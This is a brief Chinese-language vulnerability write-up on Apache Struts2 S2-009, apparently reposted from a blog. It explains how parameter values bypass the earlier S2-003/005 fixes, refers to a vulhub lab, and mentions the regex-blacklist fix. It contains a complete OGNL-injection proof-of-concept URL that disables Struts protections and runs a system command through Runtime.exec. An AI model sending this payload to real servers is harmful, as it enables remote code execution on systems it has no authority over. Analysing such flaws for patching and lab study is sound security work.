Struts2 009 漏洞分析

0x00 前言

009是在003以及005的基础上进行了绕过。ParameterInterceptor会对参数进行检测,但是不会对参数的值进行检测,那么就形成了绕过。

0x01 正文

1.环境搭建

用vulhub即可

poc:

test.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29%29%28aaa%29&z[%28foo%29%28%27aaa%27%29]=true

2.简要分析

在ongl调用前,会把foo的值当做root
在这里插入图片描述简单的说就类似一个索引字典,如果在tree中找到一个变量,那么就会从root中进行索引:

在这里插入图片描述剩下的内容实际上和003和005相差不大。

0x02 修复

修复方式自然就从参数名检测,增加了参数值的检测,不过基本上都是基于正则获取黑名单。

猜你喜欢

转载自blog.csdn.net/qq_36869808/article/details/130910028
今日推荐